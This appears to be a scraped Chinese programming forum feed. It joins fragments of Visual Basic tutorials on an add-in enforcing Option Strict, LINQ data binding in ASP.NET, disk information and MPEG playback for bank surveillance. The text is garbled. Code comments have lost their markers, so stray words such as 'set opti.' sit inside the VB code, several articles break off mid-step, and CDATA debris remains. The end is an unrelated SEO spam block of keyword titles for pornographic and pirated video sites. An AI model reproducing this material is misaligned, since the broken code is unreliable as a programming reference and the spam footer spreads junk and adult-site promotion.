然后,在solution explorer中選擇vboptionstricton項(xiàng)目,并通過在add reference 對話框的.net tab里選擇vslangproj assembly來添加一個(gè)reference。同時(shí),在connect.vb模塊的代碼頂部加上imports vslangproj語句。 vslangproj assembly提供了名為prjoptionstrict的列舉(enumeration),其中包含optionstrict的可能值(on, off)。

現(xiàn)在你可以開始將option strict設(shè)置成on了。整個(gè)add-in 過程包括四個(gè)加入到connect類的小的vb.net子過程。add-in過程不需要用戶進(jìn)行干涉因而無需使用用戶界面。前兩個(gè)過程是同一個(gè)方法的重載(overload):public sub setoptionstricton()
   dim proj as project
    check and set optionstrict for each project in
    the open solution by calling an overloaded
    version of this sub.
   for each proj in ctype(_app.getobject("vbprojects") _
      , projects)
      call setoptionstricton(proj)
   next
end sub

public sub setoptionstricton(byref proj as project)
   dim propoptionstrict as [property]
   with proj
      propoptionstrict = _
         .properties.item("optionstrict")
       if optionstrict not "on"...
      if ctype(propoptionstrict.value, _
         prjoptionstrict) <> _
         prjoptionstrict.prjoptionstricton then

          set opti.
         propoptionstrict.value = _
            prjoptionstrict.prjoptionstricton
         .save() save changes to the project.
      end if
   end with proj
end sub

通過使用上述重載,你可以得到兩種方法(用最少的重復(fù)代碼):一個(gè)將open solution中所有項(xiàng)目的option strict設(shè)置成on的不帶參數(shù)的方法和另一個(gè)將單獨(dú)指定項(xiàng)目中的option strict設(shè)置成on的帶proj參數(shù)的方法。

接下來建后兩個(gè)過程。每個(gè)過程各調(diào)用一個(gè)setoptionstricton方法:private sub _solutionevents_opened() _
   handles _solutionevents.opened
      call setoptionstricton()
   end sub

   private sub _solutionevents_projectadded( _
      byval project as envdte.project) handles _
      _solutionevents.projectadded

      call setoptionstricton(project)
   end sub

打開visual studio中的一個(gè)solution將會(huì)觸發(fā)第一個(gè)事件處理(_solutionevents_opened),激活add-in會(huì)確保當(dāng)前vb項(xiàng)目中的option strict被設(shè)置成on。這些項(xiàng)目可能是在你安裝add-in之前就建好的,也可能是從一個(gè)沒有裝這個(gè)add-in的其他開發(fā)者那里拿來的。在將一個(gè)新的或是以前建好的項(xiàng)目加入到當(dāng)前的solution中后會(huì)觸發(fā)另一個(gè)事件處理(_solutionevents_projectadded),當(dāng)你用項(xiàng)目向?qū)г谛陆ǖ膕olution中加入一個(gè)項(xiàng)目模板時(shí)也會(huì)觸發(fā)這一事件。這一處理確保在所有新建vb項(xiàng)目中的option strict是on的狀態(tài)。]]>
用VB語言,在Web開發(fā)中使用LINQhttp://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2592&Page=1wangxinxin2010-12-14 12:18:08網(wǎng)絡(luò)有很多偉大的創(chuàng)新,能夠很容易利用LINQ的查詢能力,并使之與Web用戶界面的豐富新和靈活性相結(jié)合.的確很容易.

  在開始之前你需要弄明白幾個(gè)概念:

  * LinqDataSource 控件 -- 允許你在基于Web的數(shù)據(jù)綁定中使用LINQ查詢作為數(shù)據(jù)源. 
  * LinqDataSource.Selecting 事件 -- 允許你自定義任意LINQ定義查詢(包括匿名查詢) 為數(shù)據(jù)源. 只要從VB編輯器的下拉列表中選中LinqDataSource并選擇Selecting事件, 然后在事件處理代碼中設(shè)定e.Result = <你的LINQ查詢> 即可.
  * OR設(shè)計(jì)器和Linq 到SQL -- 如果你正用LINQ查詢直接連接到SQL數(shù)據(jù)庫 (而不是對象集合, xml, 等等) 上, 這是一種創(chuàng)建查詢的簡單方法, 我們稱它為DataContext 對象. “OR”是對象-關(guān)系映射的縮寫, 例如, 從關(guān)系數(shù)據(jù)庫數(shù)據(jù)到.NET對象的映射
  * ASP.NET 數(shù)據(jù)綁定表達(dá)式 -- 使你能夠計(jì)算由數(shù)據(jù)源字段, 或簡單控件的屬性, 或控件列表而來的ASP形式的<%# Eval("YOURFIELD") %>表達(dá)式

  用LINQ到SQL創(chuàng)建一個(gè)簡單的Web窗體

  第一篇文章用一個(gè)最簡單的Web窗體, 來逐一解釋這些概念. 然后我將根據(jù)你們的回復(fù)在以后的文章中添加更多主題并擴(kuò)展這個(gè)示例.

  下面是一個(gè)最初我們需要的Web窗體輸出示例 -- 一個(gè)非常簡單的人力資源程序的員工列表單 -- 我得承認(rèn)它缺少修飾, 并需要一些用戶界面上的加工:
<!-- Code highlighting produced by Actipro CodeHighlighter (freeware) http://www.CodeHighlighter.com/ -->EmployeeID: 2 Andrew Fuller Andrew received his BTS commercial in 1974 and a Ph.D. in international marketing from the University of Dallas in 1981. He is fluent in French and Italian and reads German. He joined the company as a sales representative, was promoted to sales manager in January 1992 and to vice president of sales in March 1993. Andrew is a member of the Sales Management Roundtable, the Seattle Chamber of Commerce, and the Pacific Rim Importers Association. EmployeeID: 1 Nancy Davolio Education includes a BA in psychology from Colorado State University in 1970. She also completed "The Art of the Cold Call." Nancy is a member of Toastmasters International.
  如果你對Visual Studio非常熟悉, 我估計(jì)你只要10到15分鐘就能在你自己的機(jī)器上實(shí)現(xiàn).
  準(zhǔn)備

  - 確保已經(jīng)安裝Visual Studio 2008 或 Visual Web Developer 2008 Express. Express 版本.
  - 確保安裝了 SQL Server 2005 Express 并已啟動(dòng). 它通常在安裝VS 或VS Express的同時(shí)默認(rèn)被安裝. 你也可以從這里下載安裝.
  - 如果在你的機(jī)器上沒有Northwind.mdf, 可以從這篇文章的附件中下載.
  為網(wǎng)站添加數(shù)據(jù)

  首先我們要把數(shù)據(jù)庫添加到我們的工程中, 并創(chuàng)建必要的類以使用LINQ中的數(shù)據(jù)庫 (用Linq到SQL).注意, 你可以選擇跳過此步驟并創(chuàng)建你自己的LINQ查詢到其他數(shù)據(jù)庫上.

  通過File -> New Web Site ... -> ASP.NET Web Site創(chuàng)建一個(gè)新的網(wǎng)站到本地目錄 
   把Northwind數(shù)據(jù)庫添加到網(wǎng)站的App_Data文件夾
  1. 從本文附件中下載 Northwind.mdf 文件并保存到本地硬盤
  2. 把這個(gè)文件拖放到解決方案管理器的App_Data文件夾中

  通過OR設(shè)計(jì)器為Northwind創(chuàng)建LINQ到 SQL的類. Linq 到 SQL 類會(huì)被保存在一個(gè).dbml 文件中并可以在可視的OR設(shè)計(jì)器中打開.

  1. 在解決方案資源管理器中右鍵單擊網(wǎng)站結(jié)點(diǎn), 選擇快捷菜單的Add New Item -> Linq To SQL Classes
  2. 把"DataClasses.dbml" 重命名為"NorthwindDataClasses.dbml". (這樣做很重要, 以便在代碼和VS向?qū)е姓业竭@些類).
  3.
]]>
VB中獲取邏輯磁盤的信息http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2591&Page=1wangxinxin2010-12-14 12:15:38        List1.AddItem "剩余字節(jié)數(shù): "
& Format(FreeBytes, "#,0")
If SysFlags And FS_CASE_IS_PRESERVED Then
List1.AddItem "文件名的大小寫記錄于文件系統(tǒng)"
        End If
        If SysFlags And FS_CASE_SENSITIVE Then
            List1.AddItem "文件名要區(qū)分大小寫"
        End If
        If SysFlags And FS_UNICODE_STORED_
ON_DISK Then
            List1.AddItem "文件名保存為 Unicode 格式"
        End If
        If SysFlags And FS_PERSISTENT_ACLS Then
            List1.AddItem "文件系統(tǒng)支持文件的訪問
      控制列表(ACL)安全機(jī)制"
        End If
        If SysFlags And FS_FILE_COMPRESSION Then
      List1.AddItem "文件系統(tǒng)支持逐文件地進(jìn)行文件壓縮"
        End If
        If SysFlags And FS_VOL_IS_COMPRESSED Then
            List1.AddItem "整個(gè)磁盤卷都是壓縮的"
        End If
    End If
End Sub

Private Sub Form_Load()
    Call Drive1_Change
End Sub

  運(yùn)行后,選擇驅(qū)動(dòng)器列表框中的不同驅(qū)動(dòng)器,列表框中就會(huì)顯示出該驅(qū)動(dòng)器的相應(yīng)信息。以上程序在VB5.0、VB6.0及WINDOWS 98中運(yùn)行通過。
   

 

]]>
Visual Basic環(huán)境下Video/ Audio壓縮數(shù)據(jù)流播放技術(shù)http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2590&Page=1wangxinxin2010-12-14 12:14:01國防科技大學(xué)
--------------------------------------------------------------------------------
---- 1. 引言

---- 銀行的數(shù)字化監(jiān)視監(jiān)控系統(tǒng)是目前比較有市場及應(yīng)用前景的開發(fā)項(xiàng)目,基于不同的MPEG采集卡與硬件外圍設(shè)備開發(fā)的監(jiān)視監(jiān)控系統(tǒng)在國內(nèi)外都有比較成型的技術(shù)。為了滿足實(shí)時(shí)監(jiān)視、實(shí)時(shí)采集壓縮、隨時(shí)回放、壓縮數(shù)據(jù)流的傳播等具體要求,在該系統(tǒng)中使用了一種用于網(wǎng)絡(luò)視頻/音頻多點(diǎn)傳輸(視頻廣播)的視頻數(shù)據(jù)采集卡,提供AVI(MPEG I Frame壓縮編碼)采集、MPG采集。發(fā)送端廣播MPEG流,接受端接受MPEG流并顯示,網(wǎng)絡(luò)傳輸采用WinSock 2 IP-Multicast。如果本機(jī)為發(fā)送端,網(wǎng)絡(luò)上另外任何一臺(tái)PC可以作為接收端。只要指定不同端口號,同時(shí)可以有多臺(tái)PC機(jī)作為發(fā)送端,多臺(tái)PC機(jī)作為接收端接收不同發(fā)送端的視頻數(shù)據(jù),也可在傳送數(shù)據(jù)的同時(shí)在本機(jī)將數(shù)據(jù)存為MPEG文件。本文主要介紹在VB的環(huán)境下開發(fā)MPEG卡采集的Audio/Video數(shù)據(jù)播放的一些編程技巧。

---- 2. MPEG的內(nèi)容與發(fā)展簡介

---- 多媒體信息主要包括圖像、聲音和文本三大類。其中視頻、音頻等信號的信息量是非常大的,而且這些信息的表達(dá)方式、輸入、輸出的要求也各不同。對這些數(shù)據(jù)進(jìn)行有效的表達(dá)和適當(dāng)處理是很重要的,它使多媒體信息壓縮技術(shù)成為多媒體通信領(lǐng)域中的關(guān)鍵技術(shù)之一。ISO與IEC于1988年聯(lián)合成立的MPEG(Moving Picture Expert Group),致力于運(yùn)動(dòng)圖像及其伴音編碼的全球標(biāo)準(zhǔn)化工作。它包括MPEG系統(tǒng):MPEG視頻、MPEG音頻。為了推動(dòng)社會(huì)由文本信息時(shí)代向多媒體信息時(shí)代過渡,ISO繼MPEG-1、2和4后又推出了MPEG-7。

---- MPEG-1制定于1993年(ISO/IEC 11172),是針對1.5Mbit/s以下數(shù)據(jù)傳輸率的數(shù)字存儲(chǔ)媒質(zhì)運(yùn)動(dòng)圖像及其伴音編碼的國際標(biāo)準(zhǔn)。視頻壓縮率為26:1。MPEG-2制定于1995年(ISO/IEC 13818),是CCIR601建議的圖像質(zhì)量DVB、HDTV和DVD制定的3-10Mbit/s的運(yùn)動(dòng)圖像及其伴音編碼的國際標(biāo)準(zhǔn)。與前面基于信息論的波形編碼理論,針對一定比特率的視頻、音頻編碼的MPEG標(biāo)準(zhǔn)不同的是,于1998年11月公布的國際標(biāo)準(zhǔn)MPEG-4更加注重多媒體系統(tǒng)的交互性和靈活性。它引入AV對象(Audio/Visual Objects),使得更多的交互操作成為可能。1998年10月國際標(biāo)準(zhǔn)化組織又推出了MPEG-7的構(gòu)想,預(yù)計(jì)于2001年初最終完成并公布,其正式名稱為"多媒體內(nèi)容描述接口"(Multimedia Content Description Interface)。它提出了一種適用于現(xiàn)實(shí)生活中的各種多媒體內(nèi)容的標(biāo)準(zhǔn)化描述方案,以提取待描述對象的各方面特征為基礎(chǔ),方便人們對所需的多媒體材料進(jìn)行快速、有效的檢索。

---- 3.VB開發(fā)MPEG -- Audio/Video數(shù)據(jù)流的播放技術(shù)

---- 3.1.VB中Multimedia MCI 控件,MediaPlayer控件播放MPEG數(shù)據(jù)流的缺點(diǎn)

---- VB中常用的多媒體控件是Multimedia MCI 控件,它管理媒體控制接口 (MCI) 設(shè)備上的多媒體文件的記錄與回放。它被用來向諸如聲卡、MIDI 序列發(fā)生器、CD-ROM 驅(qū)動(dòng)器、視頻 CD 播放器和視頻磁帶記錄器及播放器等設(shè)備發(fā)出 MCI 命令,還支持 Windows (*.avi) 視頻文件的回放。采用Multimedia MCI 控件播放采集的MPEG數(shù)據(jù)流,播放速度比實(shí)時(shí)監(jiān)控顯示要快,在測試時(shí)還發(fā)現(xiàn)MPEG文件長度縮短到500k-600k時(shí),就無法看到播出的圖像了。改用VB中的MediaPlayer控件上敘缺點(diǎn)仍然存在。分析原因是:因?yàn)镸PEG文件長度太短了,播放設(shè)備剛打開就已經(jīng)關(guān)閉了,這是編程無法控制的。而且,對于用戶要求獲取的某些有關(guān)壓縮數(shù)據(jù)流的信息和希望實(shí)現(xiàn)的某些功能,比如圖線尺寸、Copmression Rate、圖形的縮放顯示、界面的美觀等,上敘控件所提供的為方便程序開發(fā)人員使用的高層接口已不適用,要想在此基礎(chǔ)上實(shí)現(xiàn)對底層的一些操作,難度可想而知。在解決上敘實(shí)際性問題時(shí),我們調(diào)用了動(dòng)態(tài)鏈接庫Quatrz.dll。

---- 3.2.提供對MPEG流方便的底層操作和高層接口的動(dòng)態(tài)鏈接庫Quatrz.dll

---- 在Windows\System下可找到一個(gè)動(dòng)態(tài)鏈接庫Quatrz.dll,這是Windows中帶的用于控制運(yùn)動(dòng)圖像的播放的一個(gè)類型庫,只要在VB的"引用"菜單中將它添加進(jìn)來即可使用。該庫中定義了IBasicAudio,IBasicVideo和IBasicVideo2,IMediaEvent 、IMediaEventEx、IMediaPosition等類,可方便地在CommandButton控件的Click等事件中添加代碼設(shè)置和讀取Audio的相關(guān)值,設(shè)置或讀取Video的輸入輸出源的相關(guān)參數(shù),直接調(diào)用無參函數(shù)Run、Pause、Stop等控制播放事件進(jìn)程,利用IMediaPosition類對具體播放細(xì)節(jié)進(jìn)行操作。對于壓縮的MPEG數(shù)據(jù)流的輸出顯示并不需要特別的控件,在VisualBasic中你可以選擇一個(gè)窗體作為容器或窗體上的PictureBox控件作為容器。為了界面的美觀和用戶查取相關(guān)信息的方便,我們采用了PictureBox控件作為容器顯示播放的MPEG數(shù)據(jù)流。

---- 3.3.用PictureBox控件顯示MPEG數(shù)據(jù)流

---- Visual Basic中PictureBox 控件可以顯示來自位圖、圖標(biāo)或者元文件,以及來自增強(qiáng)的元文件、JPEG 或 GIF 文件的圖形。亦可在代碼中操作圖形屬性和方法,以創(chuàng)建動(dòng)畫或進(jìn)行仿真。在窗體上放置了一個(gè)PictureBox控件picTV,在調(diào)用了Windows\System下動(dòng)態(tài)鏈接庫Quatrz.dll的基礎(chǔ)上,定義一個(gè)全局的Object對象pMC,令 pMC指向 FilgraphManager的一個(gè)新實(shí)例,打開壓播放的MPEG文件;再定義一個(gè)局部對象 pVW 為 IVideoWindow的新實(shí)例,打開一個(gè)播放Video的窗口;令pVW = pMC,給對象引用pVW賦值,將picTV的屬性值hWnd賦給pVW的Owner ,這樣picTV就能顯示接收的MPEG數(shù)據(jù)流了。具體操作如下:

Set pMC = New FilgraphManager
pMC.RenderFile "C:\Bank\Montior\Example.MPG"
Set pVW = pMC
pVW.WindowStyle = CLng(&H6000000)
pVW.Left = 0
pVW.Top = 0
OldWidth = pVW.width
OldHeight = pVW.Height
picTV.width = pVW.width * 15
picTV.Height = pVW.Height * 15
pVW.Owner = picTV.hWnd
---- 可以單獨(dú)定義一個(gè)函數(shù)包括這些代碼,也可將其放到CommandButton控件的Click事件中。
---- 3.4.MPEG數(shù)據(jù)流的縮放顯示

---- 放大或縮小MPEG圖像是各種多媒體播放軟件中常用的圖像顯示處理手段。VisualBasic中對于靜態(tài)圖片進(jìn)行縮放處理可以使用Image控件,將控件的Stretch屬性設(shè)為True,則裝入的圖片會(huì)改變比例適應(yīng)Image控件的范圍,因此對圖片的縮放處理變成對Image控件的Height、Width屬性值的大小變化。由于控件的尺寸發(fā)生變化,顯示的點(diǎn)距不能改變,造成顯示點(diǎn)的像素點(diǎn)與圖片不能完全一一對應(yīng),顯示質(zhì)量明顯變差。只有Image控件才能對圖片進(jìn)行縮放,如果PictureBox控件不足以顯示整幅圖象,則裁剪圖象以適應(yīng)控件的大小。要想實(shí)現(xiàn)用PictureBox控件實(shí)現(xiàn)對輸出MPEG圖像的縮放,必須改變MPEG數(shù)據(jù)流的輸出比例,在調(diào)節(jié)PictureBox控件的尺寸去適應(yīng)輸出的MPEG圖像。實(shí)際上,在上面的第3小節(jié)里,為了顯示輸出MPEG圖像已經(jīng)這樣做了。只不過用的是讀取出的MPEG圖像OldWidth、 OldHeight,下面給出一個(gè)以原來的1/2大小輸出MPEG圖像的例子。

pVW.width = OldWidth / 2
pVW.Height = OldHeight / 2
picTV.Left = 135
picTV.Top = 135
picTV.width = pVW.width * 15
picTV.Height = pVW.Height * 15
pVW.Owner = picTV.hWnd

---- 在放大或縮小MPEG圖像的尺寸時(shí)要注意保持Width、Height的比例一致,以免輸出的圖像變形。
---- 3.5.鼠標(biāo)拖動(dòng)播放MPEG數(shù)據(jù)流

---- 用鼠標(biāo)拖動(dòng)滾動(dòng)條隨意播放MPEG數(shù)據(jù)流是Windows中多媒體播放機(jī)播放VCD的常用技術(shù)。VB中的Slider 控件是包含滑塊和可選擇性刻度標(biāo)記的窗口,可以通過拖動(dòng)滑塊,用鼠標(biāo)單擊滑塊的任意一側(cè)或者使用鍵盤移動(dòng)滑塊。在選擇離散數(shù)值或某個(gè)范圍內(nèi)的一組連續(xù)數(shù)值時(shí),Slider 控件十分有用。通過將滑塊移動(dòng)到刻度標(biāo)記處,可以對MPEG數(shù)據(jù)流進(jìn)行定位播放。在窗體上放置一個(gè)Slider 控件Slider 1,設(shè)置好光標(biāo)移動(dòng)的最大步長LargeChange=5,最小步長SmallChange=1,最大移動(dòng)范圍Max=50,實(shí)現(xiàn)程序如下:

Private Sub Slider1_Scroll()
'
Dim pMP As IMediaPosition
Dim v As Double

If Not bOpen Then Exit Sub

bSeeking = True
pMC.Pause

Set pMP = pMC

v = Slider1.Value - Slider1.Min
v = v / Slider1.Max * pMP.Duration
pMP.CurrentPosition = v
Set pMP = Nothing

pMC.Run
'
End Sub

---- 3.6.MPEG數(shù)據(jù)流采集時(shí)間的獲取
---- VisualBasic里提供了一個(gè)函數(shù)FileDateTime可用來獲取文件建立或是更新的日期與時(shí)間。定義一個(gè)局部對象 pMP 為IMediaPosition的新實(shí)例,令pMP = pMC,給對象引用pMP賦值;再定義兩個(gè)Double型的變量curpos 、length,將pMP.CurrentPosition賦給curpos,取得MPEG數(shù)據(jù)流的當(dāng)前相對位置時(shí)間,將pMP.Duration 賦給length,取得MPEG數(shù)據(jù)流的時(shí)間長度值;就能獲取MPEG數(shù)據(jù)流相對的采集時(shí)間。根據(jù)MPEG采集文件建立的特性將兩個(gè)日期時(shí)間作加法或減法則可以得到MPEG數(shù)據(jù)流的采集時(shí)間。

---- 在整個(gè)MPEG的播放過程中,都要求實(shí)時(shí)顯示MPEG數(shù)據(jù)流的采集時(shí)間,可定義一個(gè)獲取采集時(shí)間的函數(shù),采用Timer控件的Timer事件來驅(qū)動(dòng)。通過引發(fā) Timer 事件,Timer 控件可以有規(guī)律地隔一段時(shí)間執(zhí)行一次函數(shù)獲取到MPEG數(shù)據(jù)流的采集時(shí)間。

---- 4.結(jié)束語

---- 將成熟的圖像壓縮技術(shù)用于電視監(jiān)視監(jiān)控領(lǐng)域具有十分重要的意義。例如:在銀行的監(jiān)視監(jiān)控系統(tǒng)中,由于客戶(銀行)身份的特殊性,在對冒領(lǐng)他人存款、銀行失竊或被搶劫等擾亂銀行正常工作秩序的事件的調(diào)查及其處理中,采集的壓縮數(shù)據(jù)流是很重要的辦案線索與證據(jù)。在該系統(tǒng)中不僅要求監(jiān)視畫面清晰,采集的數(shù)據(jù)冗余度低,MPEG數(shù)據(jù)流的播放技術(shù)也是很重要的。本文介紹了在Windows環(huán)境下,利用VisualBasic自身?xiàng)l件和原有控件開發(fā)MPEG卡采集的Audio/Video數(shù)據(jù)的播放技術(shù)。充分利用了VB的優(yōu)越條件,靈活地與VB中各種現(xiàn)有控件結(jié)合,開發(fā)出來的MPEG媒體播放器功能完善,回放的MPEG畫面能清晰地重現(xiàn)數(shù)據(jù)采集時(shí)場景、做到了"聞其聲,見其人"、并能準(zhǔn)確確定事件發(fā)生的時(shí)間時(shí)刻。對只記錄了單幀的Audio/Video數(shù)據(jù)流也能同樣播放。上述技術(shù)已在監(jiān)控系統(tǒng)中使用,并效果良好。 ]]>
主站蜘蛛池模板: 噜噜噜噜狠狠狠7777视频 | 国产日韩一区二区 | 欧美亚洲另类丝袜综合网动图 | 精品国产乱码久久久久久88av | 麻豆一区一区三区四区 | 久久精品视频91 | 欧美日韩亚洲一区 | 国产在线永久免费 | 国产欧美日韩综合精品一 | 久久久一二三 | av电影一区| 欧美a区| 天天操天天怕 | 久久成人久久 | 欧美三级电影在线播放 | 国产精品久久久久久久久久久久 | 一区二区av | 国产电影一区二区 | 亚洲精品视 | 国产免费一区二区三区 | 精品国产一区二区三区久久久久久 | 国产精品五月天 | 91免费视频观看 | 三级黄色片在线 | 欧美精品二区 | 亚洲视频在线观看 | 日产精品久久久一区二区福利 | 99精品国产成人一区二区 | 中文字幕在线视频精品 | 日韩欧美精品 | 最近日韩中文字幕 | 成年免费大片黄在线观看岛国 | 91人人视频在线观看 | 亚洲精品电影网在线观看 | av天天干| 中文字幕国产精品 | 国产麻豆一区二区三区 | 国产精品久久久久久久7777 | 日韩免费福利视频 | 亚洲精品久久久一区二区三区 | 亚洲天堂精品一区 |